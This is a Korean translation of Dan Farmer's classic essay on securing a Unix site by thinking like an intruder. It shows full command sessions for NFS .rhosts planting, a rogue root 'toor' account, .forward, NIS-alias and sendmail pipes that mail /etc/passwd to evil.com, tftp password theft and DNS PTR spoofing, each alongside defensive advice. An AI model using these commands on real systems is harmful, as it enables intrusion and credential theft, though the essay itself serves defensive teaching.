당신의 site를 침입으로부터 보호하기 위한 security의 개선

원래 이 문서는 Sun Microsystems의 Dan Farmer 씨의 글을 번역한 내용이며, 한국어 번역은 (주)아이즈랩의 김상우씨에게 저작권이 있습니다.<swlive [at] cais [dot] kaist [dot] ac [dot] kr>또는 <webmaster [at] iznet [dot] net> 

당신의 site를 침입으로부터 보호하기 위한 security의 개선

※ 이 글은 Sun Microsystem 의 Dan Farmer 의 글을 기초로 번역한 글입니다.

---------------------------------------------------------

◎ 도입

매일매일 전 세계에서는 수많은 Network host들이 침입 당하고 있다. 칩입자들의 공격수준은 다양한데, 가장 일반적인 것은 취약한 Password를 이용하는 것이다. 그리고 요즘에는 꽤 높은 수준의 기술을 구사하는 사람들도 상당수에 이르고 있다. 이런 침입은 그 추적이 어려워서 그 기술에 대해 많이 알려진 바가 없다.

CERT, SRI, The Nic, NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. 등등. 우리는 이런 site들이 칩입당한 것을 본적이 있다. 인터넷 상에 있는 많은 사이트들에 대해 침입은 꽤 쉬운 게임이라고 볼 수도 있을 것이다. 이 목표들이 일반적이지 않은가? 무슨 일들이 벌어졌을까?

상상해보자.
한 금발의 소년이 어두운 방에 앉아 있다. 방에서 나오는 빛이라고는 오직 그의 C64 40 character 화면뿐. 담배를 입에 물고 이 지친 Cracker는 또 그의 리스트 상의 새로운 ".mil" site에 텔넷으로 접속한다.
"guest-guest", "root-root", "system-manager" 모두 실패.
상관없다. 그는 밤을 샐 거니깐. 그는 연필로 리스트에서 이 사이트를 지우고, 또 피곤한 몸으로 다음 사이트에 접속한다.

뭐, 이 정도가 일반적인 System cracker의 이미지라고 볼 수 있겠다. 이런 경험이 부족한 cracker들은 한 개의 system 에 들어가기 위해 엄청난 시간을 낭비하여야 할 것이다. 그러나 세상에는 훨씬 더 무서운 형태의 cracker들이 있다. 그들은 최신판 보안검사 프로그램과 또 cracking tool을 다 알고 있다. 또 그들이 직접 만든 프로그램을 이용하기도 한다. 최근의 Security 의 구멍을 알고 있을 뿐만 아니라, 그들이 그런 구멍들과 버그들을 발견해내기도 한다. 또한 그들이 들어왔던 경로는 흔적 없이 사라진다. 이들이 바로 "UeberCracker!"

"UeberCracker"라는 말은 니체가 쓴 "uebermensch"에서 나왔다. uebermensch는 영어로 번역하면 "Over man"쯤 되는데, 한글로 하면 "슈퍼 인간"정도가 되겠다. 니체가 쓴 뜻은 그냥 일반적인 만화의 슈퍼맨이 아니라, 보통 인간의 불완전함과 약함 등을 뛰어넘은 사람을 말한다. 이렇게 되면 Uebercracker가 왜 uebercracker인지 알았을 것이다. 일반적인 뻔한 방법으로 system을 칩입하려는 cracker를 넘어선 cracker. 그들의 목표는 정해져 있는 것이 아니라 목표에 따라 변한다. 돈을 벌기 위해서라던지, 그냥 크고 유명한 site들에 대한 도전. 이들은 잡기 힘들고, 따라서 그만두게 할 수도 없으며, 그러므로 당신의 site가 안전해 지는 것에 대해 최대의 걸림돌이 될 것이다.

◎ 정보를 얻기

시작하기 전에 우선 당신이 당신의 site를 보안하는 입장에서 victim.com 이라는 회사의 administrator라고 하자. 당신은 당신회사의 system의 보안 점검을 위해 그리고 당신 근처의 친한 system administrator인 evil.com 에게 당신의 기계를 침입자의 입장에서 보아줄 것을 부탁할 것이다.

가장 먼저 해야 할 것은 무엇인가? 뭐니뭐니 해도 우선은 침입하려는 host에 대한 정보가 필요할 것이다. 이것들을 제공하는 network service는 대충 봐도 많은데, finger, showmount, rpcinfo 등으로 시작하는 것이 좋다. 하지만 그것으로 그치지 말고, DNS, whois, sendmail, ftp, uutp, 등등 다른 모든 정보를 얻을 수 있는 것들을 사용해야 한다. host에서 그들의 공간 모두를 보여주지 못하게 원천 봉쇄하는 많은 방법과 기술들이 있지만, 우리는 그것을 알아내기 위해 우리가 생각할 수 있는 여러 '위험스런' 작전을 조합하여 시도해 볼 수 있을 것이다. 이상적으로 당신이 목표로 삼은 모든 subnet의 host들에 대한 정보를 수집해야 한다. 한마디로 "정보는 힘"이다. 우선 당신이 목표로 삼는 victim.com에 대한 정보를 모아보기로 하자.

시작은 먼저 유일무이한 finger 명령을 사용할 수 있을 것이다.
(∵ 단 이때의 날짜는 1993년 11월 6일, 시간은 오후 6시라고 가정하자)

victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com

GOOD! 지금 단 한 명의 idle한 유저밖에 없지 않은가!. 당신이 지금부터 침입을 시도해도 눈여겨볼 사람이 없다는 것이다.

이제 좀더 기술을 발휘해보자. finger 신봉자들 모두 fingering "@", "0", ""를 알 것이다. 이것을 사용하여 일반적인 이름들. 즉 root, bin, ftp, system, guest, demo, manager, 등등을 검색해보자. 꽤 많고 유용한 정보들이 나왔을 것이다. 그 중에서 눈 여겨 볼만한 정보는 그들의 이름과, home directory, 그리고 그들이 마지막으로 접속한 장소이다.

이런 정보를 추가하기 위해 rusers 명령을 사용할 수 있을 것이다. (-l option을 붙인다.)

이러한 시도들로 인해 victim.com 에 대하여 다음과 같은 사실들을 알아내었다.
이들을 표로 정리해 보면 아래와 같다.

Login Home-dir Shell Last login, from where
----- -------- ----- ----------------------
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from
server.victim.com
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

여러 cracking에 관한 실험결과 finger는 가장 위험한 network 서비스라고 판명난 적이 있다. 이것이야말로 목표물에 대한 매우 유용한 정보를 거침없이 보여주기 때문이다. 하지만 이 정보를 제대로 이용하기 위해서는 다른 정보와의 조합이 중요하다.

예를 들어 당신의 목표물에 대해 showmount를 실행하여 다음과 같은 정보를 얻을 수 있다.

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy

여기서 /export/foo 는 바깥으로 방출된다는 것을 알 수 있다. 그리고 또한 위에서 얻은 정보에서 이곳은 guest의 home directory 이다.

자 이제 침입할 시간이 되었다.

이런 경우에 당신은 먼저 guest의 home-directory를 mount 할 것이다. 당신은 locan machine에 일치하는 계정이 없고, 또 root는 NFS mounted system에 관한 file들을 수정할 수 없기 때문에 당신은 당신의 local password file에 guest계정을 생성할 수 있게 된다. guest의 자격으로 당신은 .rhost를 remote 된 guest 의 home-directory로 넣는다. 그러면 이제 목표 machine 에 password의 공급 없이 login할 수 있을 것이다.

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest

evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %

만일 home directory 대신에 victim.com 이 filesystem을 user command에 의하여 방출하고있었다면, 명령들을 당신의 선택에 따라 실행되는 '트로이 목마'로 교체할 수 있을 것이다. 그러면 그 다음에 접속하는 유저가 그 command를 실행할 때 당신의 command가 실행될 것이다.

-> filesystem 은 다음과 같이 방출되는 것을 권장한다.

Read/Write는 특별하고 trust 된 client에게.. 가능한 모든 것은 Read only로.

만일 target이 그의 /etc/hosts.equiv 에 "+" 와일드 카드를 가지고 있거나 (그 표준은 기계에 따라 다르다.), netgroups bug를 가지고 있다면 root가 아닌 다른 모든 user들의 name과 password로 password 필요 없이 rlogin할 수 있다. 그리고 때때로 "bin"이라는 유저는 key file과 directory를 가지고 있기 때문에 당신의 다음 목표는 이제 host에 접속하여 password file를 조작하고 그로부터 root 권한을 가지는 것이다.

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

위에서 "rsh victim.com csh -i" 는 system에 처음 들어갈 때 wtmp나 utmp 같은 시스템 점검 file에 흔적을 남기지 않기 위해 사용되었다. 이렇게 하면 finger나 who 에 대해 invisible 하게 된다. 이런 remote 쉘은 그것이 pseudo-terminal에 연결되어 있지 않으므로 pagers나 editors 같은 Screen-oriented program을 사용할 수는 없다. 하지만 어쨌든 이것은 짧은 탐사에 매우 유용하다.

"The COPS" 보안 점검 tool은 key files 나 directory가 다른 superuser들에 의해 writing이 가능한지를 점검하여 줄 것이다. 또 만일 당신이 SunOS 4.x 버전을 사용하고 있다면 patch 100103을 사용하여 대부분 file들의 권한문제를 해결할 수 있다. 많은 system에서 rsh는 위 에서와 같이 성공할 경우 완벽하게 흔적을 남기지 않을 수 있다. 이런 경우에는 연결되어 들어오는 과정들을 기록해 주는 'tcp wrapper' 등을 사용하여 이러한 활동을 노출시킬 수 있다.

◎ Ftp와 Tftp

자 이제 다른 방법들에 대하여 알아보자. 위에 소개된 방법들로 당신은 목표한 host들에 대해 쉽게 침입할 수 있었는가? 아마 그렇지 않았을 것이다. 이제 당신이 처음 정보를 조사할 상황으로 되돌아가 보자. 아마 "ftp"라는 계정이 있었음을 기억할 것이다. 이것은 보통 Anonymous ftp가 가능함을 의미하는 것이다. anonymous ftp는 access를 얻기 위한 쉬운 방법임과 동시에 종종 잘못 관리되어 있기도 하다.

예를 들어 목표물은 /etc/passwd 파일의 사본을 anonymous ftp 의 ~ftp/etc 디렉토리에 보관하는 경우도 있다. 이런 경우 victim.com 의 ftp home-directory는 writable하므로 당신은 명령들을 remote 하게 실행시킬 수 있다. password file을 당신에게로 mailing 하는 방법이 유효한데. 간단한 .forward file을 만들어서 ftp계정에 mail이 보내어질 때마다 명령을 실행하게 하면 된다.

evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

이제 password file이 당신에게 날아오는 것을 기다리는 일만 남았다.

COPS tool은 당신의 anonymous ftp 설정이 맞는지 점검하여 줄 것이다.
ftpd에 대한 man 페이지를 열어보거나, COPS 또는 CERT advisory 93:10 에 대한 문서나 코드를 읽어보면 어떻게 anonymous ftp를 설정해야 하는가에 대한 정보를 얻을 수 있을 것이다. ftp가 침입 받기 쉬운 이유는 잘못된 Owner 관계나, key file에 대한 권한 설정이 잘못되어 있는데 있다. 적어도 최소한 ~ftp와 모든 "system" 디렉토리와 파일들은 ~ftp 밑에 두고, root소유로 한 다음 어떤 user에게도 쓰기 권한을 주어서는 안 된다.

ftp를 좀더 살펴보면 자주 악용되는 오래된 버그가 하나 있다.

ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

만일 이것이 먹혔다면, 당신은 지금 root로써 로긴된 것이다. 따라서 password file를 마음먹은대로 조작할 수가 있다. 만일 당신의 system 에 이것이 걸려든다면 당신은 바로 ftpd daemon을 당신의 vendor 나 ftp.uu.net으로부터 업데이트 하여야 한다.

마지막으로 ftp와 흡사한 것으로 tftp가 있다. 이것은 trivial file transfer system 의 약자로 즉 말그대로 작은 파일들을 전송하기 위한 것이다. 이 daemon은 어떤 password도 필요로 하지 않는다. 만일 host가 tftp에 대하여 access 제한을 두지 않는다면 (이 제한은 주로 inetd.conf file 의 flag set을 이용하여 설정된다) 공격자는 시스템 이곳저곳을 read/write 할 수 있다. 즉 당신은 password file을 당신의 /tmp 디렉토리로 가져다 놓을 수 있는 것이다.

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

보안의 관점에서 볼 때 tftp는 사용되어서는 안 된다. 만약에 tftp가 꼭 필요하다면 가치 있는 정보가 빠져나갈 수 없게 ditectory등에 secure option/flag를 이용하여 제한을 두어야 한다. 아니면 tftp를 "chroot wrapper" 프로그램 하에서 돌아가게 두어야 한다.

◎RPCinfo 와 sendmail

만일 이전의 방법들이 먹혀들지 않았다면, 이제 좀더 맹렬한 공격을 퍼부을 때가 되었다. 당신은 rpcinfo 라는 친구를 가지고 있으며 이것 역시 매우 유용한 프로그램이다. 어쩌면 이것이 finger 보다도 더 유용하다고 생각할 수도 있다. 많은 host에서, 부당하게 이용될지도 모르는 RPC service를 돌리고 있다. 이것을 이용하면 지금 host가 NIS를 돌리고 있는지, 그것이 NIS server인지 slave인지, 주변에 diskless workstation이 있는지, 그것이 NFS하에서 돌아가는지, 또한 rusersd, rstatd 등의 정보들과 다른 보안 프로그램에 대한 정보들을 알 수 있을 것이다.

evil % rpcinfo -p victim.com [output trimmed for brevity's sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd

위의 결과를 보면서 이제 목표물에 대한 새로운 정보들을 얻을 수 있었다.
첫 번째로 얻은 결과는 이것이 NIS server라는 것. 그리 많이 알려진 것은 아니지만 만약에 그 서버의 NIS의 도메인 네임을 알게된다면, 이제 단순한 rpc-query로서 NIS의 map을 알 수 있는 것이다. 덧붙여서 여러 취약하고 뻔한 password를 알아맞히는 것과 마찬가지로 많은 system들이 추측 가능한 NIS 도메인 네임을 사용하고 있다. 도메인 네임을 알아맞히는 것은 굉장한 소득을 가져온다. 주로 사용하는 것은 hostname의 전체 또는 일부 (이 경우 "victim" 이나 "victim.com" 같은 것), 또는 "showmount" 했을 때 나타나는 조직이나 netgroup의 이름. 등등이다. 만일 당신이 "victim" 이라는 도메인 네임으로 추측했다면 다음과 같은 방법으로 확인할 수 있다.

evil % ypwhich -d victim victim.com
Domain victim not bound

위와 같은 경우는 실패한 경우이다. 만약에 맞게 추측했다면 victim.com 의 NIS server 가 가진 hostname을 반환해 올 것이다. 그런데 NFS section에서 victim.com 이 "/var"를 외부로 방출한다는 것을 주목하자. 해야 할 일은 이 디렉토리를 mount 하여 그 안의 "yp"-sub directory를 들여다보는 것뿐이다.

evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]

자~ 이 경우 "foo_bar" 이 NIS 도메인 네임이 된다.

NIS map은 종종 user/emplyee 들의 name에 대한 좋은 정보를 가지고 있다. 아직 cracking을 위한 password에 대해서는 알지 못한다.

rpcinfo 로부터 알아낸 또 다른 사실은 victim.com 이 rexd를 사용한다는 것이다. rsh 와 마찬가지로 rexd 도 "이 명령을 저 user로써 실행시켜 주세요!" 의 형식으로 처리한다. 그러나 rsh와는 다르게 rexd 는 client host가 hosts.quiiv 나 .rhost files에 있어도 상관없다는 것이다. 일반적으로 rexd client program은 "on" command 상태이지만 정해지지 않은 client host와 userid information을 rexd server로 보내는 데는 간단한 C 프로그램이면 된다. 이러한 이유로 rexd를 돌리는 것은 password를 가지지 않는 것이나 마찬가지이다. 모든 security가 그것이 원래 있어야 할 server에 있는 대신 client 내에 있게 된다.

rpcinfo로부터 한가지 더 알아낸 것은 victim.com 이 diskless workstations 로서 관찰된다는 점이다. 이것은 bootparam service 로부터 알아낼 수 있는데, 이것이 diskless client 가 부팅하는데에 대한 정보를 제공한다. 만약에 BOOTPARAMPROC_WHOAMI 와 client의 주소를 이용하여 정확히 질문한다면, 그것의 NIS의 도메인 네임을 알 수 있을 것이다. NIS 도메인 네임을 알면 NIS map을 얻을 수 있다는 사실을 볼 때 이것은 매우 유용한 작업이 될 것이다. 아래에 그런 역할을 하는 코드의 일부가 있다.

char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */

/* initializations omitted... */

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC
_ WHOAMI, xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf("%s has nisdomain %sn", server, res.domain_name);

Showmount 명령의 결과에서 "easy"로 나타나는 것은 victim.com 의 diskless client 이다. 따라서 그것의 client 주소를 BOOTPARAMPROC_WHOAMI query 로 사용한다.

evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar

NIS 관리자들은 NIS domain의 mail alias들을 질문에 의하여 관리한다. Local mail alias와 마찬가지로 이 경우에도 메일이 보내졌을 때, 지정된 명령을 실행하도록 만들 수 있다. 예를 들어 당신이 "foo"라는 이름을 만들었다고 하자, 그러면 이제 그는 그에게 어떤 메시지라도 도착하는 즉시 password file을 evil.com 으로 보내올 것이다.

nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com

잘만 되면, Attacker들은 당신의 NIS master host를 조작할 수는 없을 것이다. 그러나 아무리 잘 된다 하더라도 교훈은 명백하다. NIS는 보통 보안에 약하기 때문에 만약에 Attacker가 당신의 NIS master를 조절한다면, 그는 이제 client host의 조절을 가지게 될 것이다.

NIS attack을 막을 수 있는 방법은 그리 많이 알려져 있지는 않다. 그것은 client와 server 간에 거의 인증이 필요 없는 불안전한 서비스이기 때문이다. 더욱 나쁜 것은 어떤 map이라도 심지어 master server에 까지 밀어 넣을 수 있다는 것이다. (즉 이 말은 NIS server를 client로 취급할 수 있다는 것이다.) 이렇게 된다면 이것은 전체 구조를 완전히 전복시키는 결과를 낳을 것이다. NIS를 사용하는 것이 꼭 필요하다면 추측하기 힘든 도메인 네임을 사용하는 것이 약간은 도움이 될 것이다. 하지만 만일 Attacker 에게 노출된 diskless client를 돌리고 있다면 이런 간단한 step은 공격자들에게 bootparam trick 에 의해 쉽게 간파당할 것이고 도메인 네임을 얻어갈 것이다. 만일 NIS가 password map을 보급하기 위한 용도로 쓰인 것이라면 shadow password 마저도 방어에 도움이 되지 않는데, 왜냐하면 shadow map도 root를 가진 공격자들에 의해 읽힐 수 있기 때문이다.
가장 좋은 것은 NIS를 가능한 한 최소한 사용하는 것이다. 아니면 최소한 map이 침입자들에 의해서 정독될 수 있는 것을 깨달아야 한다.

RPC 보안은 그 위험을 줄이기 위해 많은 노력을 하고 있는데, 그 자체에 원래 문제를 가지고 있기 때문에 상당히 어려운 일이다. 게다가 암호학적인 방법도 그리 효과적이지 못하다. 항간에 Sun의 새로운 network information service 인 NIS+가 이런 문제들을 고쳤다고는 하나 아직까지 Sun 위에서 돌리는 경우에 만으로 제한되어 있고, 디자인 자체의 수정은 아직 다가가지 못하고 있다. 마지막으로 filtering-packet이나 'securelib' 또는 Sun의 100482-02 patch를 활용하는 것이 도움이 될 것이다.

RPC service에 대해서는 portmapper만이 알고 있다. 다른 모든 Network service는 폭력적인 방법으로 모든 Network port와 연결되어 있을 수 있다. 많은 네트워크 유틸리티와 windowing system은 특정한 port를 사용한다 (예를 들어 sendmail 은 port 25, telnet은 port 23, X windows는 port 6000 등). SATAN(Security Analysis Tool for Auditing Networks)을 사용하면 host의 port를 알아낼 수 있다. 목표물에 사용해보자.

evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

이것을 보면 victim.com 은 X windows를 돌리고 있음을 알 수 있다. 만일 이것들이 제대로 보호되지 않는다면 (magic cookie 나 xhost mechanism을 사용하여 보호할 수 있다.) windows 화면은 캡처되거나 user의 타이핑을 훔쳐내어 관찰될 수 있을 것이다.
그리고 만일 host가 X-window를 실행한 상태에서 telnet을 port 6000에 받아들인다면 그것을 서비스 거부 attack으로 사용할 수 있을 것이다. 이렇게 되면 목표물의 windowing system은 잠시동안 "freeze-up" 된다. X-server를 공격하기 위한 한가지 방법은 그것에 XOpenDisplay() fucntion을 이용하여 접속하는 것이다. 만일 그 function이 NULL을 return 한다면 victim의 display를 읽어 올 수 없다는 뜻이 된다.

char *hostname

if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %sn", hostname);
} else {
printf("Can open display: %sn", hostname);
}

evil % opendisplay victim.com:0
Cannot open display: victim.com:0

X-terminal은 UNIX system에 비해서 훨씬 강력하지 못하면서도, 자체 보안에 문제가 있을 수 있다. 많은 X-terminal은 제한 없이 rsh access를 허락한다. 따라서 victim의 terminal 안에서 결과가 당신의 화면에 나타나게 하는 X-client 프로그램을 실행시킬 수도 있다.

evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

다음으로 sendmail을 검사해보자. Sendmail 은 아마도 오래전에 machine 으로 부터 없어졌을 불명예스런 "wiz" 명령어와 더불어 매우 오래 전부터 보안 문제를 가져오던 복잡한 프로그램이다. 때때로 target 아래로 버전을 낮추어 가면서, OS를 결정하여 Sendmail에 의해 돌아오는 version number를 관찰하는 방법을 사용할 수 있다. 이렇게 함으로써 host의 수많은 bug들중 어느 것을 이용하는 것이 좋을지 알 수 있다. 덧붙여서 역시 보안상 문제가 많은 "decode"를 돌리고 있는 지의 여부도 파악할 수가 있다.

evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

"decode"를 사용하는 것은 보안상의 위험을 지니고 있다. 이것을 이용해서 attacker들은 owner가 가진 모든 writable file을 overwrite 할 수 있는 잠재력을 가지게 된다. 아래의 mail을 보면 이것은 (writable 하다면) user zen의 .rhost 내에 "evil.com"을 위치시킬 것이다.

evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com

만약에 모든 home-directory 가 알려지지 않았거나 혹은 writable하지 않다면, 당신이 목표물에서 실행하고 싶은 명령을 담은 alias를 포함한 가짜 /etc/aliases.pag를 생성하는 변칙적 방법을 이용할 수 있다.

evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

단순히 sendmail을 이용해서 address가 acceptable 한지 (vrfy) 또는 address가 어떻게 확장되어 있는지 (expn)를 묻는 것만으로도 많은 정보를 알아낼 수 있다. finger나 rusers 서비스가 제공되지 않는 경우에도 vrfy와 expn을 이용할 수 있다. 또 이것을 이용해서 user가, 악용될 수 있는 program (예를 들어, vacation, mail sorters 등등) 으로 mail을 전송하고 있는지의 여부도 알 수 있다.
보안을 위해 vrfy와 expn 명령을 제거하는 것도 좋은 방법이다. 최근의 버전에서 srvrsmtp.c 의 소스코드를 보면 CmdTab structure에서 "vrfy"와 "expn"이라는 문자를 가진 두 줄만 제거하거나 바꾸면 된다.
Sendmail의 최신 버전을 얻는 것도 매우 좋은 방법이다. 이전 버전의 sendmail 은 그 어떤UNIX 프로그램보다도 많은 bug report를 가지고 있을 것이다.

Sendmail-sendoff에서, 점검해야 할 것 중에, 꽤 많이 알려진 두 가지의 버그가 있다. 첫 번째 것은 버클리로부터 버전 5.59에서 고쳐진 것인데, 아래의 메시지에도 불구하고 5.59 이하의 버전에서는 에러 메시지와 상관없이 특정 파일에 "evil.com" 이 추가된다.

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM

evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.

evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %

두 번째 버그는, 최근에야 비로소 고쳐진 것인데, sender 나 destination address 에 대하여 누구든지 특정한 shell commmand 나 pathname에 접근할 수 있다는 것이다. 이것에 대한 자세한 비밀을 유지하는 것은 헛수고나 다름없으며, mailing list나 usenet news group를 통한 discussion은 이 버그를 어떻게 활용할 것인지에 대한 폭로가 되어버릴 수도 있는 것이다. 이것에 대하여 자세히 이야기하는 것은 무리이기 때문에, 이것을 이용한 전형적인 attacking을 아래에 소개하였다.

evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
250 Mail accepted
quit
Connection closed by foreign host.
evil %

* 이 글을 쓴 시점에서 sendmail의 버전 8.6.4만이 최신의 버그를 모두 수정한 것으로 보고되었다.

◎ Trust

이제 침입에 대한 마지막 주제로 넘어왔다. 이로써 이때까지 했던 실제적인 방법과는 조금 다른, 좀더 이론에 충실한 전략을 공부하게 될 것이다. 그리고 trust의 개념에 대해 잠깐 언급하겠다. Vulnerabilities 에 대한 개념과 관점은 우리가 지금까지 다루어왔던 것보다 더 미묘하고, 다가가기에 아직 먼 거리에 있다. 이 글에서 trust라는 단어를 쓰는 경우는 "server가 보통 password 검사가 지점에서 password 검사 없이 특정한 client를 local 자원에 접근하도록 허락할 때" 라는 의미에서 사용할 것이다. 다시 말해서 앞으로 그 client 로 위장하는 것에 대한 설명으로 주제를 제한할 수 있다.

많은 경우에 host의 trust가 이루어지는데 - .rhosts 와 host.equiv 파일을 통하여 password verification 없이 access가 가능하게 할 수 있다. window server들은 remote system 이 쉽게 특권을 사용하고 또 남용하도록 허락하고 있다.

이런 모든 것들은 거의 대부분 client의 IP address 에 의거하여 service 가 제공되는지 아닌지를 결정한다. 가장 단순한 방법은 /etc/hosts 파일을 직접적인 lookup으로 사용하게 하는 것이다. 그러나 요즈음은 대부분의 host에서 DNS(Domain Name Service)나 NIS, 또는 두 가지를 모두 loopup에 사용한다. Server가 IP-address를 가지고 client hostname과 맞추어 볼 때 Reverse lookup이 발생한다.

Host trust에 대해서 대부분의 system administrator들이 그 개념을 잘 이해하고 있다고 하지만 아직도 충분한 위험성과, 실제 사용시의 문제가, (hostname의 흉내와 상관없이), 남아있다. 그리고 이것은 우리가 인터넷에서 다루는 모든 것 중에서 가장 이해가 덜 된 부분이다.

모든 형태의 trust는 위조되고, 속임수이자, 파괴적일 수 있다. 특히 client의 신용도를 check하는 authority 가 server의 외부에 있을 때, 또는 그 메커니즘이 빈약한 authentication 위에 있을 때, 두 경우 다 문제가 된다.

명백하게, host가 가지고 있는 database와 (NIS, DNS 건 어떤 것이라도) 맞아떨어지면 침입자는 host에게 자신이 trusted host에서 접속한 것이라고 확신시킬 수 있다. 따라서 이제 어떤 host가 trust 되는지를 알아내기만 하면 충분하다. 이것들은 system administrator 이나 다른 system 계정들이 최근에 접속한 곳을 알아내는 것으로 큰 정보를 얻을 수 있다. 다시 victim.com으로 가서 보면 root가 최근에 접속한 곳은 big.victim.com 인 것을 알 수 있다. 이제 PTR record를 조작하여 앞으로 evil.com 으로 접속할 때 victim.com에서 hostname lookup을 조작된 것으로 인식하게 하면 된다. 만일 DNS database가 다음과 같았다면

1.192.192.192.in-addr.arpa IN PTR evil.com

이렇게 바꾸어 놓으면 될 것이다.

1.192.192.192.in-addr.arpa IN PTR big.victim.com

이렇게 해 놓으면 이제 victim.com 의 system software 가 얼마나 순진하냐에 따라서, 이 접속이 big.victim.com에서 온것이라고 믿을 수 도 있을 것이다. 물론 big.victim.com 이 /etc/hosts.equiv 또는 /.rhost 에 있다고 가정할 때, 당신은 이제 password 없이 login 할 수 있게 될 것이다. NIS에서 NIS master 에 있는 host database를 조작하거나, NIS가 당신이 원하는 정보를 공급하도록 속이거나 강요하는 작업은 이제 단순한 일이다. 더욱 복잡하고 흥미있고 위험한 공격이 DNS를 경유하여 행해질 수 있으나, 자세한 내용은 생략하도록 한다.

